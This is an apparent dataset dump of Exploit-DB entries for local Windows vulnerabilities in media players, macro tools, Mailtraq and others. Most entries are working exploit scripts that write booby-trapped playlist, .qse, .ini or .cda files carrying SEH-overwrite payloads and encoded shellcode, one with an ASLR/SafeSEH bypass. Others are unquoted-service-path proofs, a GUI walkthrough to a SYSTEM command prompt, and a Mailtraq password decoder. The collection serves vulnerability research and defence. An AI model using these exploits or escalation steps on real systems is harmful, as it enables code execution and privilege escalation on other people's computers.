deardaniel/secdata-raw huggingface dataset:
Exploit-DB #10759
Description: M.J.M. Quick Player 1.2 - Local Stack Buffer Overflow
Type: local
Platform: windows
Date: 2009-12-28
Author: corelanc0d3r

Exploit:
# [*] Vulnerability     : M.J.M. Quick Player v1.2 Stack BOF
# [*] Discovered by     : mr_me (seeleymagic[at]hotmail[dot]com)
# [*] Sploit written by : corelanc0d3r (corelanc0d3r[at]gmail[dot]com)
# [*] Sploit released   : dec 28th, 2009
# [*] Type              : local and remote code execution
# [*] OS                : Windows
# [*] Product           : M.J.M. Quick Player
# [*] Versions affected : 1.2  (Latest version is not vulnerable)
# [*] Download from     : http://www.brothersoft.com/quick-player-135853.html
# [*] -------------------------------------------------------------------------
# [*] Method            : SEH / Unicode
# [*] Tested on         : XP SP3 En (VirtualBox)
# [*] Greetz&Tx to      : mr_me/EdiStrosar/Rick2600/MarkoT
# [*] -------------------------------------------------------------------------
#                                               MMMMM~.                          
#                                               MMMMM?.                          
#    MMMMMM8.  .=MMMMMMM.. MMMMMMMM, MMMMMMM8.  MMMMM?. MMMMMMM:   MMMMMMMMMM.   
#  MMMMMMMMMM=.MMMMMMMMMMM.MMMMMMMM=MMMMMMMMMM=.MMMMM?7MMMMMMMMMM: MMMMMMMMMMM:  
#  MMMMMIMMMMM+MMMMM$MMMMM=MMMMMD$I8MMMMMIMMMMM~MMMMM?MMMMMZMMMMMI.MMMMMZMMMMM:  
#  MMMMM==7III~MMMMM=MMMMM=MMMMM$. 8MMMMMZ$$$$$~MMMMM?..MMMMMMMMMI.MMMMM+MMMMM:  
#  MMMMM=.     MMMMM=MMMMM=MMMMM7. 8MMMMM?    . MMMMM?NMMMM8MMMMMI.MMMMM+MMMMM:  
#  MMMMM=MMMMM+MMMMM=MMMMM=MMMMM7. 8MMMMM?MMMMM:MMMMM?MMMMMIMMMMMO.MMMMM+MMMMM:  
#  =MMMMMMMMMZ~MMMMMMMMMM8~MMMMM7. .MMMMMMMMMMO:MMMMM?MMMMMMMMMMMMIMMMMM+MMMMM:  
#  .:$MMMMMO7:..+OMMMMMO$=.MMMMM7.  ,IMMMMMMO$~ MMMMM?.?MMMOZMMMMZ~MMMMM+MMMMM:  
#     .,,,..      .,,,,.   .,,,,,     ..,,,..   .,,,,.. .,,...,,,. .,,,,..,,,,.  
#                                                                   eip hunters
# -----------------------------------------------------------------------------
# Script provided 'as is', without any warranty. 
# Use for educational purposes only.
#
# Open file in playlist - calc !
#
print "[+] Preparing payload\n";
my $sploitfile="corelanc0d3r_quicksploit.m3u";
my $header="#EXTM3U\n\nHTTP://";
my $junk="A" x 529;
my $field1="\x41\x6d";
my $field2="\x41\x4d";  #boy I love pvefindaddr :-)
my $stuff="\x58\x6d";
$stuff=$stuff."\x05\x02\x01\x6d";
$stuff=$stuff."\x2d\x01\x01\x6d";
$stuff=$stuff."\x50\x6d\xc3";  
my $morestuff="D" x 111;
# I think this will execute calc :-)
my $shellcode="PPYAIAIAIAIAQATAXAZAPA3QADAZABARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA58AAPAZABABQI1AIQIAIQI1111AIAJQI1AYAZBABABABAB30APB944JBTKJL2HO0QU48QUQXBC1Q2L2C4MPEL80P6XLMO53VSLKOHPP1WSKOXPA";
my $payload=$header.$junk.$field1.$field2.$stuff.$morestuff.$shellcode;
print "[+] Writing payload to file\n";
open(FILE,">$sploitfile");
print FILE $payload;
close(FILE);
print "[+] Wrote ".length($payload)." bytes to ".$sploitfile."\n";
Exploit-DB #10320
Description: M3U To ASX-WPL 1.1 - '.m3u' Local Buffer Overflow
Type: local
Platform: windows
Date: 2009-12-05
Author: Encrypt3d.M!nd

Exploit:
#exploit.py
#
#    M3U To ASX-WPL 1.1 (m3u Playlist file) Buffer Overflow Exploit
#    By: Encrypt3d.M!Nd
#    http://m1nd3d.wordpress.com/
#
#################################################################
#
# SEH Overwrite method - you can use simple jmp esp
# accourding to my calculations EIP Would Change after
# 1378 bytes.it may be diffrent on other systems.
#

ns = "\xeb\x15\x90\x90"
sh = "\xbe\x2e\xd1\x72" # Windows XP sp3 - msacm32.drv

#
#windows/exec - 461 bytes
#http://www.metasploit.com
#Encoder: x86/alpha_upper
#EXITFUNC=thread, CMD=calc
#

shellcode = (
"\x89\xe2\xda\xc4\xd9\x72\xf4\x5b\x53\x59\x49\x49\x49\x49\x43"
"\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56\x58\x34"
"\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41\x42\x41\x41"
"\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x58"
"\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4b\x58\x4b\x39\x43\x30"
"\x43\x30\x43\x30\x45\x30\x4b\x39\x4b\x55\x46\x51\x49\x42\x42"
"\x44\x4c\x4b\x51\x42\x50\x30\x4c\x4b\x51\x42\x44\x4c\x4c\x4b"
"\x51\x42\x42\x34\x4c\x4b\x44\x32\x46\x48\x44\x4f\x48\x37\x50"
"\x4a\x51\x36\x46\x51\x4b\x4f\x46\x51\x49\x50\x4e\x4c\x47\x4c"
"\x45\x31\x43\x4c\x43\x32\x46\x4c\x47\x50\x49\x51\x48\x4f\x44"
"\x4d\x43\x31\x48\x47\x4a\x42\x4a\x50\x46\x32\x46\x37\x4c\x4b"
"\x50\x52\x42\x30\x4c\x4b\x47\x32\x47\x4c\x45\x51\x4e\x30\x4c"
"\x4b\x51\x50\x42\x58\x4c\x45\x4f\x30\x42\x54\x51\x5a\x45\x51"
"\x48\x50\x50\x50\x4c\x4b\x47\x38\x44\x58\x4c\x4b\x50\x58\x47"
"\x50\x45\x51\x48\x53\x4a\x43\x47\x4c\x47\x39\x4c\x4b\x46\x54"
"\x4c\x4b\x43\x31\x49\x46\x46\x51\x4b\x4f\x46\x51\x4f\x30\x4e"
"\x4c\x49\x51\x48\x4f\x44\x4d\x43\x31\x4f\x37\x46\x58\x4b\x50"
"\x43\x45\x4b\x44\x45\x53\x43\x4d\x4a\x58\x47\x4b\x43\x4d\x51"
"\x34\x43\x45\x4b\x52\x46\x38\x4c\x4b\x51\x48\x51\x34\x45\x51"
"\x4e\x33\x42\x46\x4c\x4b\x44\x4c\x50\x4b\x4c\x4b\x46\x38\x45"
"\x4c\x45\x51\x48\x53\x4c\x4b\x43\x34\x4c\x4b\x43\x31\x4e\x30"
"\x4d\x59\x47\x34\x47\x54\x46\x44\x51\x4b\x51\x4b\x43\x51\x46"
"\x39\x51\x4a\x50\x51\x4b\x4f\x4d\x30\x46\x38\x51\x4f\x51\x4a"
"\x4c\x4b\x44\x52\x4a\x4b\x4b\x36\x51\x4d\x43\x5a\x45\x51\x4c"
"\x4d\x4d\x55\x4f\x49\x45\x50\x43\x30\x45\x50\x46\x30\x42\x48"
"\x46\x51\x4c\x4b\x42\x4f\x4d\x57\x4b\x4f\x49\x45\x4f\x4b\x4d"
"\x30\x45\x4d\x47\x5a\x44\x4a\x43\x58\x4f\x56\x4c\x55\x4f\x4d"
"\x4d\x4d\x4b\x4f\x4e\x35\x47\x4c\x43\x36\x43\x4c\x44\x4a\x4d"
"\x50\x4b\x4b\x4d\x30\x42\x55\x45\x55\x4f\x4b\x51\x57\x42\x33"
"\x42\x52\x42\x4f\x43\x5a\x45\x50\x51\x43\x4b\x4f\x4e\x35\x42"
"\x43\x43\x51\x42\x4c\x42\x43\x43\x30\x41\x41")

file=open('m3utoasx.m3u','w')
file.write("\x41" * 1386+ns+sh+"\x41" * 30+shellcode)
file.close()
Exploit-DB #49694
Description: MacPaw Encrypto 1.0.1 - 'Encrypto Service' Unquoted Service Path
Type: local
Platform: windows
Date: 2021-03-22
Author: Ismael Nava

Exploit:
# Exploit Title: MacPaw Encrypto 1.0.1 - 'Encrypto Service' Unquoted Service Path
# Discovery by: Ismael Nava
# Discovery Date: 03-19-2020
# Vendor Homepage: https://macpaw.com/encrypto
# Software Links : https://dl.devmate.com/com.macpaw.win.Encrypto/EncryptoforWin.exe?cid=78[PII_REDACTED]181092
# Tested Version: 1.0.1
# Vulnerability Type: Unquoted Service Path
# Tested on OS: Windows 10 64 bits

# Step to discover Unquoted Service Path:

C:\>wmic service get name, displayname, pathname, startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\" |findstr /i /v """
Encrypto Service   Encrypto.Service    C:\Program Files\Encrypto\Encrypto.Service.exe   Auto


C:\>sc qc "Encrypto.Service"
[SC] QueryServiceConfig CORRECTO

NOMBRE_SERVICIO: Encrypto.Service
        TIPO               : 10  WIN32_OWN_PROCESS
        TIPO_INICIO        : 2   AUTO_START  (DELAYED)
        CONTROL_ERROR      : 1   NORMAL
        NOMBRE_RUTA_BINARIO: C:\Program Files\Encrypto\Encrypto.Service.exe
        GRUPO_ORDEN_CARGA  :
        ETIQUETA           : 0
        NOMBRE_MOSTRAR     : Encrypto Service
        DEPENDENCIAS       :
        NOMBRE_INICIO_SERVICIO: LocalSystem
Exploit-DB #40428
Description: Macro Expert 4.0 - Multiple Privilege Escalations
Type: local
Platform: windows
Date: 2016-09-26
Author: Tulpa

Exploit:
# Exploit Title: Macro Expert 4.0 Multiple Elevation of Privilege
# Date: 26/09/2016
# Exploit Author: Tulpa
# Contact: tulpa@tulpa-security.com
# Author website: www.tulpa-security.com
# Vendor Homepage: http://www.macro-expert.com/
# Software Link: http://www.macro-expert.com/download.htm
# Version: Software Version 4.0
# Tested on: Windows 7 x86
# Shout-out to carbonated and ozzie_offsec

1. Description:
 Macro Expert installs as a service with an unquoted service path running with SYSTEM

privileges. This could potentially allow an authorized but non-privileged local
user to execute arbitrary code with elevated privileges on the system. Additionally the

default installation path suffers from weak folder permission which an unauthorized user

in the BUILTIN\Users group could take advantage of.

2. Proof

C:\Program Files\GrassSoft>sc qc "Macro Expert"
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: Macro Expert
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : c:\program files\grasssoft\macro expert\MacroService.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : Macro Expert
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem

C:\Program Files\GrassSoft>cacls "Macro Expert"
C:\Program Files\GrassSoft\Macro Expert BUILTIN\Users:(OI)(CI)C
                                        NT SERVICE\TrustedInstaller:(ID)F
                                        NT SERVICE\TrustedInstaller:(CI)(IO)(ID)F
                                        NT AUTHORITY\SYSTEM:(ID)F
                                        NT AUTHORITY\SYSTEM:(OI)(CI)(IO)(ID)F
                                        BUILTIN\Administrators:(ID)F
                                        BUILTIN\Administrators:(OI)(CI)(IO)(ID)F
                                        BUILTIN\Users:(ID)R
                                        BUILTIN\Users:(OI)(CI)(IO)(ID)(special access:)
                                                                      GENERIC_READ

                                                                       GENERIC_EXECUTE

                                        CREATOR OWNER:(OI)(CI)(IO)(ID)F


3. Exploit:

A successful attempt would require the local user to be able to insert their
code in the system root path undetected by the OS or other security applications
where it could potentially be executed during application startup or reboot.
If successful, the local user's code would execute with the elevated privileges
of the application.
Exploit-DB #50431
Description: Macro Expert 4.7 - Unquoted Service Path
Type: local
Platform: windows
Date: 2021-10-20
Author: Mert Daş

Exploit:
# Exploit Title: Macro Expert 4.7 - Unquoted Service Path
# Exploit Author: Mert DAŞ
# Version: 4.7
# Date: 20.10.2021
# Vendor Homepage: http://www.macro-expert.com/
# Tested on: Windows 10

C:\Users\Mert>sc qc "Macro Expert"
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: Macro Expert
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : c:\program files (x86)\grasssoft\macro
expert\MacroService.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : Macro Expert
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem
---------------------------------------------

Or:
-------------------------
C:\Users\Mert>wmic service get name,displayname,pathname,startmode |findstr
/i "auto" |findstr /i /v "c:\windows\\" |findstr /i /v """


#Exploit:

A successful attempt would require the local user to be able to insert
their code in the system root path undetected by the OS or other security
applications where it could potentially be executed during application
startup or reboot. If successful, the local user's code would execute with
the elevated privileges of the application.
Exploit-DB #51506
Description: Macro Expert 4.9 - Unquoted Service Path
Type: local
Platform: windows
Date: 2023-06-06
Author: Murat DEMİRCİ

Exploit:
# Exploit Title: Macro Expert 4.9 - Unquoted Service Path
# Date: 04/06/2023
# Exploit Author: Murat DEMIRCI
# Vendor Homepage: http://www.macro-expert.com/
# Software Link: http://www.macro-expert.com/product/gm_setup_4.9.exe
# Version: 4.9
# Tested on: Windows 10

# Proof of Concept :

C:\Users\Murat>sc qc "Macro Expert"
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: Macro Expert
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : c:\program files (x86)\grasssoft\macro expert\MacroService.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : Macro Expert
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem

# If a malicious payload insert into related path and service is executed in anyway, this can gain new privilege access to the system and perform malicious acts.
Exploit-DB #36928
Description: Macro Toolworks 7.5 - Local Buffer Overflow
Type: local
Platform: windows
Date: 2012-03-08
Author: Julien Ahrens

Exploit:
source: https://www.securityfocus.com/bid/52351/info

Macro Toolworks is prone to a local buffer-overflow vulnerability because it fails to perform adequate boundary checks on user-supplied data.

Local attackers can exploit this issue to run arbitrary code with elevated privileges. Failed exploit attempts can result in a denial-of-service condition.

Macro Toolworks 7.5.0 is vulnerable; other versions may also be affected. 

#!/usr/bin/python
 
# Exploit Title: Pitrinec Software Macro Toolworks Free/Standard/Pro v7.5.0 Local Buffer Overflow
# Version:       7.5.0
# Date:          2012-03-04
# Author:        Julien Ahrens
# Homepage:      http://www.inshell.net
# Software Link: http://www.macrotoolworks.com
# Tested on:     Windows XP SP3 Professional German / Windows 7 SP1 Home Premium German
# Notes:         Overflow occurs in _prog.exe, vulnerable are all Pitrinec applications on the same way.
# Howto:         Copy options.ini to App-Dir --> Launch

# 646D36: The instruction at 0x646D36 referenced memory at 0x42424242. The memory could not be read -> 42424242 
(exc.code c0000005, tid 3128)

# Registers:
# EAX 0120EA00 Stack[000004C8]:0120EA00
# EBX FFFFFFFF 
# ECX 42424242 
# EDX 00000002 
# ESI 007F6348 _prog.exe:007F6348
# EDI 007F6348 _prog.exe:007F6348
# EBP 0120EA0C Stack[000004C8]:0120EA0C
# ESP 0120E9E8 Stack[000004C8]:0120E9E8
# EIP 00646D36 _prog.exe:00646D36
# EFL 00200206

# Stack:
# 0120E9E0  0012DF3C
# 0120E9E4  00000000
# 0120E9E8  0205A5A0  debug045:0205A5A0
# 0120E9EC  1B879EF8
# 0120E9F0  007F6348  _prog.exe:007F6348
# 0120E9F4  007F6348  _prog.exe:007F6348

# Crash:
# _prog.exe:00646D36 ; ---------------------------------------------------------------------------
# _prog.exe:00646D36 mov     eax, [ecx]
# _prog.exe:00646D38 call    dword ptr [eax+0Ch]
# _prog.exe:00646D3B call    near ptr unk_6750D0
# _prog.exe:00646D40 retn    4
# _prog.exe:00646D40 ; ---------------------------------------------------------------------------

# Dump:
# 007F6380  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
# 007F6390  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
# 007F63A0  42 42 42 42 43 43 43 43  43 43 43 43 43 43 43 43  BBBBCCCCCCCCCCCC
# 007F63B0  43 43 43 43 43 43 43 43  43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC
# 007F63C0  43 43 43 43 43 43 43 43  43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC

file="options.ini"

junk1="\x41" * 744
boom="\x42\x42\x42\x42"
junk2="\x43" * 100

poc="[last]\n"
poc=poc + "file=" + junk1 + boom + junk2 

try:
    print "[*] Creating exploit file...\n"
    writeFile = open (file, "w")
    writeFile.write( poc )
    writeFile.close()
    print "[*] File successfully created!"
except:
    print "[!] Error while creating file!"
Exploit-DB #30680
Description: Macrovision SafeDisc - 'SecDRV.SYS' Method_Neither Privilege Escalation
Type: local
Platform: windows
Date: 2007-10-18
Author: Elia Florio

Exploit:
source: https://www.securityfocus.com/bid/26121/info

Macrovision SafeDisc is prone to a local privilege-escalation vulnerability because it fails to adequately sanitize user-supplied input.

Exploiting this vulnerability allows local attackers to execute arbitrary malicious code with SYSTEM-level privileges, facilitating the complete compromise of affected computers.

UPDATE: This issue affects only Microsoft Windows XP and 2003 platforms. Microsoft Vista is not affected. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/30680.zip
Exploit-DB #49017
Description: Magic Mouse 2 utilities  2.20 - 'magicmouse2service' Unquoted Service Path
Type: local
Platform: windows
Date: 2020-11-09
Author: SamAlucard

Exploit:
#Exploit Title: Magic Mouse 2 utilities  2.20 - 'magicmouse2service' Unquoted Service Path
#Exploit Author : SamAlucard
#Exploit Date: 2020-11-07
#Vendor : Magic Utilities Pty
#Version : 64-bit 2.20
#Vendor Homepage : https://magicutilities.net/magic-mouse/home
#Tested on OS: Windows 10 Home


#Analyze PoC :
==============

C:\>sc qc "magicmouse2service"
[SC] QueryServiceConfig CORRECTO

NOMBRE_SERVICIO: magicmouse2service
        TIPO               : 10  WIN32_OWN_PROCESS
        TIPO_INICIO        : 2   AUTO_START
        CONTROL_ERROR      : 1   NORMAL
        NOMBRE_RUTA_BINARIO: C:\Program Files (x86)\Magic Mouse 2 -
Utilities\MagicMouse2Service.exe
        GRUPO_ORDEN_CARGA  :
        ETIQUETA           : 0
        NOMBRE_MOSTRAR     : Magic Mouse 2 Service
        DEPENDENCIAS       :
        NOMBRE_INICIO_SERVICIO: LocalSystem
Exploit-DB #16264
Description: Magic Music Editor - Local Buffer Overflow
Type: local
Platform: windows
Date: 2011-03-02
Author: C4SS!0 G0M3S

Exploit:
#!/usr/bin/perl
#
#
#
#[+]Exploi Title: Exploit Buffer Overflow Magic Music Editor 
#[+]Date: 03\01\2011
#[+]Author: C4SS!0 G0M3S
#[+]Software Link: http://www.magic-video-software.com/downloadserver/Magic-Music-Editor.exe
#[+]POC Found By: AtT4CKxT3rR0r1ST(http://www.exploit-db.com/exploits/16255/)
#[+]Version: 8.12.2.11
#[+]Tested on: WIN-XP SP3 
#[+]CVE: N/A
#[+]Language: English
#
#Este exploit é Buffer Overflow q foi encontrado por AtT4CKxT3rR0r1ST(http://www.exploit-db.comexploits/16255/)
#
#Criado por C4SS!0 G0M3S
#E-mail Louredo_@hotmail.com
#Site www.x000.org
#
#
#
#How Use:
#
# For the exploit to work you put this file on drive C in the early C: \ exploit.pl
# Must be the address then click the exploit that creates a folder and either AAAAAAAA
# inside it will have the file open file.cda magic music editor open the file inside the folder
# THEN BOOM OPENS CALC
#
#Video: http://www.youtube.com/watch?v=T7KlxfNCy1o
#
#
print q{
 Author: C4SS!0 G0M3S
 E-mail: Louredo_@hotmail.com
 Site: www.x000.org/
 
 };
 print "[+]Creating File fil3.cda...\n";
 sleep(2);
$buf = "\x41" x 25;
$buf .= pack('V',0x77207D33);
$buf .= TYIIIIIIIIIIQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB0BBXP8ACJJIP3O0PPU8SS3QBL3SF40XPPONDM15MVSLKON6A;#SHELLCODE WINEXEC CALC

mkdir($buf);

open(f,">c:\\$buf\\fil3.cda");
print f ("\x41" x 90000);
close(f);
Exploit-DB #22779
Description: Mailtraq 2.1.0.1302 - User Password Encoding
Type: local
Platform: windows
Date: 2003-06-16
Author: Noam Rathaus

Exploit:
source: https://www.securityfocus.com/bid/7923/info

It has been reported that Mailtraq does not securely store passwords. Because of this, an attacker may have an increased chance at gaining access to clear text passwords. 

#!/usr/bin/perl 

$Password = $ARGV[0]; 

print "Passwords should be something like: \\3D[PII_REDACTED]6160\n"; 
print "Provided [CREDENTIAL_REDACTED]\n"; 

$[CREDENTIAL_REDACTED]($Password, 3); 
$Length = length($Password)/2; 

print "Length: $Length\n"; 

for ($i = 0; $i < $Length; $i++) 
{ 
 print "Decoding: ", substr($Password, $i*2, 2), " = "; 
 $ord = hex(substr($Password, $i*2, 2)); 

 print $ord^$Length, " (", chr($ord^$Length), ")\n"; 
}
Exploit-DB #24753
Description: Mailtraq 2.x - Administration Console Privilege Escalation
Type: local
Platform: windows
Date: 2004-11-19
Author: Reed Arvin

Exploit:
source: https://www.securityfocus.com/bid/11708/info

Mailtraq allows a user to activate the Mailtraq administration console software by easily launching the software from an icon in the Windows system tray. It is reported that a local user may exploit the administration console interface to escalate privileges.

1. Double click on the Mailtraq icon in the Taskbar
2. Right click in the right text pane and choose View Source
3. Notepad should open. Click File, click Open
4. In the Files of type: field choose All Files
5. Navagate to '%WINDIR%\System32'. Right click on 'cmd.exe' and choose Open
7. A command prompt will launch with SYSTEM privileges
Exploit-DB #50806
Description: Malwarebytes 4.5 - Unquoted Service Path
Type: local
Platform: windows
Date: 2022-03-07
Author: Hejap Zairy Al-Sharif

Exploit:
# Exploit Title: Malwarebytes 4.5 - Unquoted Service Path
# Date: 05/03/2022
# Exploit Author: Hejap Zairy
# Vendor Homepage: https://www.malwarebytes.com/
# Software Link: https://www.malwarebytes.com/mwb-download/
# Version: 4.5.0
# Tested: Windows 10 Pro x64 es

C:\Users\Hejap>sc qc MBAMService
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: MBAMService
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files\Malwarebytes\Anti-Malware\MBAMService.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : Malwarebytes Service
        DEPENDENCIES       : RPCSS
                           : WINMGMT
        SERVICE_START_NAME : LocalSystem



#Exploit:

A successful attempt would require the local user to be able to insert their code in the system root path undetected by the OS or other security applications where it could potentially be executed during application startup or reboot. If successful, the local user's code would execute with the elevated privileges of the application.
Exploit-DB #37799
Description: MASM321 11 Quick Editor '.qeditor' 4.0g - '.qse' File Buffer Overflow (SEH) (ASLR + SafeSEH Bypass)
Type: local
Platform: windows
Date: 2015-08-17
Author: St0rn

Exploit:
#!/usr/bin/env python
#
# Exploit Title: MASM32 quick editor .QSE SEH Based Buffer Overflow (ASLR & SAFESEH bypass)
# Date: 2015-08-15
# Exploit Author: St0rn <st0rn[at]anbu-pentest[dot]com>
# Twitter: st0rnpentest
#
# Vendor Homepage: http://www.masm32.com/
# Software Link:   http://www.masm32.com/masmdl.htm
# Version: MASM32 11 qeditor 4.0g
# Tested on: Windows 7
#


from struct import pack
import sys

# 95 bytes Little Joke shellcode :p (shutdown)
# The shellcode must be printable
shellcode=""
shellcode+="\x89\xE3"
shellcode+="\xDB\xC2"
shellcode+="\xD9\x73\xF4"
shellcode+="\x5E"
shellcode+="VYIIIIIIIIIICCCCCC7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIOKEoDFPNEsFQIYLqEeKjKcIICDDdIdQJNcKrGtFQQJDKGsQJF"
shellcode+="THdMkIONBPaG3GPGBB2HMKuDCC0OYNnEaMDH9O3LyQOHoJWCzDmP8KGIkLXGnGFIlDlMOOdEnFNQsHgEBJ0PZFHQwKaMKF5OwLCD4D"
shellcode+="QP5DtJPE7OuP5JvJCMeBmCcDsQQKTQJBDKIBSEDOlQbIKK5MMBwEoJYN4KlHtMYJFDtKuBRKiBXOzBlJuBUIBLIKbPeMqKQEpFxNRP1"
shellcode+="CjHFGGOTKLNmIpDLKLG2D6O6L2DoKLOpGfNNJqLzQ3GKKdPlMrQoL3NHHnFDOjIyPJNkOSIzFSD4EVCPKaE1FPFKOLQdNPPQHyD6KzQI"
shellcode+="NJENKKN2FEF9GtDqFbLUBnGhFCEmEGIXQaGPI8Q6LuClDkISG6OkDsOVQSKPIcQJGNQiOfClHmPzNSFNQiL1PHOEDVLNINDUITDCEoCKBBO3DNOKLJAA"


nop="\x90"*(1140-35)        # Destination of jump: qeditor add 8C opcode (mov in assembly) which crash qeditor
bypass="\xe2"               # with the nop (8C90 90909090) to bypass this we can use different opcodes.
endnop="\x90"*34            # The opcode e2 make the instruction 8ce2 (MOV DX,FS) and the execution flow
nop+=bypass+endnop          # can be continued
                             

junk="\x90"*(1704-95)       # Junk after shellcode
padding='\x62'*52           # 52 bytes available after SE Handler


jump="\xe9\x14\xf5\xff\xff" # jump to the nop
nseh="\xeb\xf9\x90\x90"     # jump to previous instruction
seh=pack("<I",0x00406a25)   # asciiprint: pop edi pop esi ret (C:\masm32\qeditor.exe)


payload=nop+shellcode+junk+jump+nseh+seh+padding

try:
 f=open("evil.qse","w")
 f.write(payload)
 f.close()
 print "Evil QSE script created!\nHack'n'Roll"
except:
 print "Can't create Evil QSE script :'("
 sys.exit(0)